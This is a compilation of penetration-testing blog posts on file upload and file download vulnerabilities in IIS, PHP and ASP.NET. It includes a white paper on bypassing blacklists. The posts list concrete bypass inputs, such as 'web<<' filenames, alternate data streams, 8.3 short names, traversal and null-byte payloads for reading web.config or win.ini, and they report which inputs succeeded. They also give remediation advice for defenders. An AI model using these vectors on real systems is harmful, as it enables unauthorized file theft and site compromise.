Alternate Data Stream feature can also be useful for this purpose. For example, “web.config::$DATA” can create a web.config file with the uploaded file contents, or “web.config:.txt” can be used to create an empty web.config file; and when a web.config file is available in the upload folder, Windows 8.3 filename (“WEB~1.con”) or PHP on IIS feature (“web<<”) can be used to point at the web.config file.

File Upload and PHP on IIS: >=? and <=* and "=.

In file upload attack, sometimes overwriting existing sensitive files such as web.config, .htaccess, or crossdomain.xml is needed in order to bypass protections around the uploaded files.

I found out that PHP on IIS (I used FastCGI) converts the following characters when it is going to save a file in Windows:

Greater-than symbol (closing angle bracket “>”) TO a question mark (“?”)

Less-than symbol (opening angle bracket “<”) TO an asterisk symbol (“*”)

Double quotation mark (“””) TO a dot character (“.”)

This feature can be abused to bypass file extension protections in which a file uploader accepts a file name without any extension or uses a blacklist method to check the file name and extension.

Now as an example, in order to overwrite a web.config file in the upload directory when the .config extension is blocked, it is possible to use “filename=”web<<“” in the file upload request. If “web**” replaces another file in the same directory (for example web.aspx), another combination can be used such as “filename=”web<<>fig”” or “filename=’web”config’”.

Note 1: Windows 8.3 feature could also be used but it would rename the web.config file to web~1.con in the end.

Note 2: Asterisk and question mark symbols cannot be used directly as the file system rejects them.

Note 3: Sometimes WordPress replaces double and single quotation marks with visually similar symbols. Therefore, it is recommended to type the vectors yourself in Burp Suite or other proxies that you use instead of copy/paste them directly from here.

You can also see the first version of my “File in The Hole” slides located at the following URL: https://soroush.secproject.com/blog/2012/11/file-in-the-hole/

I have found this technique myself so please send me a link if you had seen it somewhere else before, and I will add its link here as well.

Updates – similar efforts on this topic (this method was known before as expected!): 

https://github.com/ironbee/ironbee-rules/blob/master/support/php/test_fs_evasion.php

http://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf

http://www.ush.it/2009/07/26/php-filesystem-attack-vectors-take-two/

http://onsec.ru/onsec.whitepaper-02.eng.pdf

File in the hole! – HackPra slides

Last week, I had a talk in Bochum University about file upload vulnerabilities. I am going to share the slides and clips with you as they are already public via HackPra website:

http://www.nds.ruhr-uni-bochum.de/teaching/hackpra/

I have been told that the video will be available soon as well. I really recommend that you see the other talks in that website too.

Here are my slides in different formats:

Download the Power Point format

Download the PDF format

In this talk, I had revealed some 0days as examples (vendors already know about these issues):

File Upload Protection bypass in FCKEditor 2.6.8 ASP version (Mostafa Azizi, Soroush Dalili) [Page 53 of Power Point file]

Denial of Service issue in FCKEditor 2.6.8/CKFinder 2.3 (Soroush Dalili) [Page 54 of Power Point file]

Directory Traversal in GleamTech Filevista (Soroush Dalili) [Page 22 of Power Point file]

You may be able to find similar issues in other web applications that have file upload functionality by using some of these methods.

—–

Note: Quick patch for FCKEditor 2.6.8 File Upload Bypass:

In “config.asp”, wherever you have:

      ConfigAllowedExtensions.Add    “File”,”Extensions Here”

Change it to:

      ConfigAllowedExtensions.Add    “File”,”^(Extensions Here)$”

Unrestricted File Download V1.0 – Windows Server

Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf

Unrestricted File Download V1.0 – Windows Server

I do not want to talk about Insecure Direct Object References without any protection as they are obviously exploitable; Instead, I want to talk about bypassing the protected ones! The problem that I want to explain here is how hard it is to protect a system that uses Insecure Direct Object References by using black-list technique.

Whenever penetration testers see a website which accepts a path as an input, they think about these questions:

1- Can I have access to the secret files?

2- Can I do directory traversal?

3- Can I modify another file?

4- Can I do race condition?

And so on.

The answer from programming point of view is: “it depends!”:

1- If they have no protection in-place: “Yes. Yay!”

2- If they are using black-list method: “Think about a bypass now! There should be a way and I just need to find it! Think about encodings, decoding, effective characters, behaviour of the system against special characters, and so on.”

3- If they are using white-list method: “Is there anything on the list that can be misused? Can I stick some of them together to make another character or change the behaviour of the system?”

My point is that there is often a way to bypass a black-list. However, it is not the same for white-list if you do it correctly.

Let’s Bypass a Blacklist Method

Now, I want to use a case to show an example of using black-list, and methods of bypass.

Assume we have “www.vulnerable.com/download.aspx” which accepts a file path as an input and reads it and loads it into the output. (To make it easier, “/upload” folder is on the root of the website)

For example: “/download.aspx?file=/upload/document.doc”

Now, if you try the following inputs, you will receive an “access denied” error from the page:

“/download.aspx?file=web.config”

“/download.aspx?file=download.aspx”

“/download.aspx?file=/download.aspx”

But, if you try the following inputs, you will receive a “file not found” error or a blank-page from the page:

“/download.aspx?file=test.doc”

“/download.aspx?file=/upload/../test.txt”

“/download.aspx?file=/test.f0ob4r”

According to the response of the page, obviously, it is using a black-list method.

These are the first things that I can think about (my pre-test-cases):

0- Use uppercase, lowercase, and Unicode in the extension. For ex: “/download.aspx?file=/wEB.CoNfiG” and so on.

1- As you might know, there are some characters after the filename that will be ignored by Windows. So, I should try something like “/download.aspx?file=/web.config.” or “/download.aspx?file=/web.config… ..”

2- Using short filename format of the file: “/download.aspx?file=/web~1.con”

3- Using null character: “/download.aspx?file=/web.config%00.txt”

4- Using another extension in the path: “/download.aspx?file=/test.txt/../web.config”

5- Using different space characters in the path: “/download.aspx?file=/web.config%09”, “/download.aspx?file=/web.config%0a”, “/download.aspx?file=/web.config%0b”, “/download.aspx?file=/web.config%0c”, “/download.aspx?file=/web.config%0d”, “/download.aspx?file=/web.config%20”, and so on (similar to 1).

6- Finding a character that is removed by the web application automatically before loading a file to put it in the extension and bypass the black-list protection.

7- Try alternate data stream to read the files: “/download.aspx?file=/web.config::$Data”

8- Try to use direct path and share path. Ex: “/download.aspx?file=c:\\windows\\win.ini”, “/download.aspx?file=\\?\c:\\windows\\win.ini”, or “/download.aspx?file=\\127.0.0.1\c$\WINDOWS\\win.ini”

9- Try to do directory traversal. Ex: “/download.aspx?file=../../../../../../../../../../../boot.ini”

10- Try other file-system understandable vectors. Ex: “/download.aspx?file=web.config/.”, “/download.aspx?file=web.config\.”, and so on (similar to 1).

And combination of the above solutions to create more complicated test cases!

What do you think? Please let me know if you know any other interesting test case. This is the result:

0 Successful: Web.config was downloaded
1,2 Failed: Show the source code in error message. Error: “Failed to map the path”
3,7,8 Failed: Show the source code in error message. Error: “is not a valid virtual path”
4 Failed: Access Denied
5 Successful: Web.config was downloaded
6 Failed: No character was found
9 Failed: Show the source code in error message. Error: “Cannot use a leading .. to exit above the top directory”
10 Successful: Web.config was downloaded. Some new vectors were found: “?file=\.”, “?file=/.”, “?file=/\./\.”

Each of the above vectors could lead to bypassing the protection. Now, I can tell you that the actual vulnerable source code of the page was:

10 string fileName = Request.Params[“File”];20 if (ForbidenExtentions.Contains(fileName.Substring(fileName.LastIndexOf(“.”))))

30 {

40 HttpContext.Current.Response.Redirect(“~/CustomError.aspx?msg=ForbidenFileDownload”);

50 }

60 if((fileName != null) && (fileName != “”))

70 {

80 string strPath = Server.MapPath(“/” + fileName);

90 if(System.IO.File.Exists(strPath))

100 { …

And, we can download the confidential files with different vectors (see number 0, 5, and 10 on the table above). Now, an attacker can download the entire website and look for the credentials, hidden files and folders, and find any other vulnerability such as SQL Injection by having the source code.

Secure and Effective Solution

Now, what can we do to stop this attack? These are the general solutions:

1- Do not use direct object references when it is possible:

For indirect references, use something random, hard to guess, and meaningless such as GUIDs. You need to implement more functions and invest more time on programming and debugging. However, your achievements are:

1.1- Increasing the Security by using strong random pointers such as GUIDs

1.2- Easier asset managing and have different access controls

2- Force yourself to always use white-lists:

It is very rare that you have to only use a black-list for an input! If an input is random and unpredictable, you may need to redesign that input. Write down the input purpose(s) and do whatever you can to restrict it to a range of characters. Now, think about this range and review the characters one by one. Is there anything in the list which can cause an issue? Do you need to allow any other characters besides [a-zA-Z0-9]? Why? Think about it and follow the best security practices.

Sometimes you need to use blacklist after passing the input from a white-list to have more security. For example: an input can contain a file path. Therefore, we should allow dot “.” character. However, we should not allow any double dot “..” as it can cause directory traversal.

If you are designing a system, look for the vulnerabilities which have been reported on the similar systems in Internet. You may find something that you had not had any knowledge about it before! Do not think that you know everything! Even a semi-colon or colon can compromise your system sometimes.

Talk about your system with the security people; with experts (not script kiddies). You can ask your questions in different security forums to find a clue. Ask them to break your protection to improve the security.

Note 1: a bad implementation is worse than not having any implementation! When you don’t have any protection, at least you know you do not have anything to protect yourself and the system is unsafe!!! However, when you have an insecure/bad implementation, you think the system is safe enough but it is not, and attackers will find this out – trust me!

Note 2: If you are putting different inputs next to each other, it is better to pass them at least through a black-list protection after concatenation.

Now, without using an indirect reference, two solutions for our vulnerable example (“www.vulnerable.com/download.aspx”) can be:

Solution 1 (More White-list – more restricted):

1- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

2- Replace all the dot characters before the backslash character (“.\”) with a single “\” character in order to make the validation easier. (Black-List)

3- Only accept limited characters as an input: RegEx: (([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*

4- File name should start with: RegEx: ^[a-zA-Z0-9\\] (White-list)

5- File name should end with: RegEx: [a-zA-Z0-9]$ (White-list)

Then a general ReGex will be (include 3, 4, and 5): ^([a-zA-Z0-9\\]{1})(([a-zA-Z0-9][\.]{1})|[a-zA-Z0-9\\])*([a-zA-Z0-9])$ (White-list)

6- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Limitation: It is not possible to use Unicode or special characters in the file or the directory name.

Solution 2 (More Black-List – less restricted):

1- Trim the input to remove unnecessary spaces (Black-List)

2- Replace all the “/” with “\” character in order to make the validation easier (for Windows OS). (Black-List)

3- Replace all the “..” with “.” character in a loop till you cannot find any “..” anymore. (Black-List)

4- Replace all the space and dot characters before and after the “\” character with a single “\” character in order to make the validation easier. (Black-List)

5- Replace all the “\\” with “\” character in order to make the validation easier. (Black-List)

6- Path should not contain these characters: RegEx: [^:*?”<>|;~] – (for Windows OS)

7- Find the file extension by using the last dot “.” character of the file. This extension should be in the list of allowed extensions such as “gif”, “jpg”, “doc”, “docx”, “pdf”, “rtf”, and so on. (White-List)

Quick Conclusion:

Stop using blacklist protections for direct object references if you cannot use indirect ones. Moreover, do not forget to talk to the specialists to implement it correctly.

Final Words

Please send me your feedbacks via my email address (irsdl at yahoo dot com) to improve this white-paper. You can use whole or part of this document by putting a reference to the author (Soroush Dalili) and link of the main document.

Currently just by using Google, a lot of vulnerable websites and Content Management Systems (CMS) can be found. If you find an issue based on the content/idea of this paper in a permitted system (such as your website CMS), please report it to its legal authority to patch the system as soon as possible; and I would be thankful if you put a link to this document as a reference in your advisory.

However, please do not use this knowledge against any website or system without having a legal permission. And, I do not accept any responsibility for any usage from this white-paper and its content/idea.

Reference(s):

– OWASP, Unrestricted File Upload: http://www.owasp.org/index.php/Unrestricted_File_Upload


Downlaod the PDF file: http://soroush.secproject.com/downloadable/Unrestricted_File_Download_V1.0.pdf

Backup link is also available: http://0me.me/files/soroush.secproject.com/Unrestricted_File_Download_V1.0.pdf